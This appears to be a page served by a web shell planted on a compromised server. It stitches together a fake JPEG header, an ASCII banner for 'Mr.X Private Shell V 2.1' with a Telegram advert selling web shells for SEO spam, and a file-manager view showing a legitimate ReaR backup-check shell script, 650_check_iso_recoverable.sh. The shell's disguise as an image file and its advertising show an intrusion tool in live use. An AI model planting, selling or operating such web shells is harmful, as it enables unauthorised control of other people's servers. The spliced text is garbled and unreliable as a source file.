����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# 650_check_iso_recoverable.sh
# In case NSR_CLIENT_MODE is enabled return else continue ...
if is_true "$NSR_CLIENT_MODE"; then
return
fi
# This check for Networker ISO Backups was implemented
# via https://github.com/rear/rear/issues/653
# In ReaR 3.0 this check is deprecated
# see https://github.com/rear/rear/issues/3069#issuecomment-1808121160
# and https://github.com/rear/rear/pull/3077#issuecomment-1807828407
# This check contradicts how "rear checklayout" is meant to be used
# because this check implements that the checklayout workflow
# is enhanced to also check the backup so it mixes up
# checking the disk layout (what "rear checklayout" is meant to do)
# with checking the backup (what "rear checklayout" is not meant to do)
# see https://github.com/rear/rear/pull/3077#issuecomment-1807891301
# As a consequence this check always results exit code 1 (at least in some cases)
# for "rear checklayout" even if nothing of the disk layout had changed
# see https://github.com/rear/rear/issues/3069
ErrorIfDeprecated nsr_check_iso_recoverable "Check for Networker Backups conflicts with 'rear checklayout', see https://github.com/rear/rear/issues/3069"
CLIENTNAME=$(hostname)
OBJECTS=$( nsrinfo -s ${NSRSERVER} -N ${ISO_DIR}/${ISO_PREFIX}.iso ${CLIENTNAME} | \
awk '/objects found/ { print $1; }' )
if [[ ${OBJECTS} -eq 0 ]]; then
LogPrint "No Networker ISO Backups found."
EXIT_CODE=1
else
LogPrint "${OBJECTS} Networker ISO Backups found."
fi
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 650_check_iso_recoverable.sh | File | 1.46 KB | 0644 |
|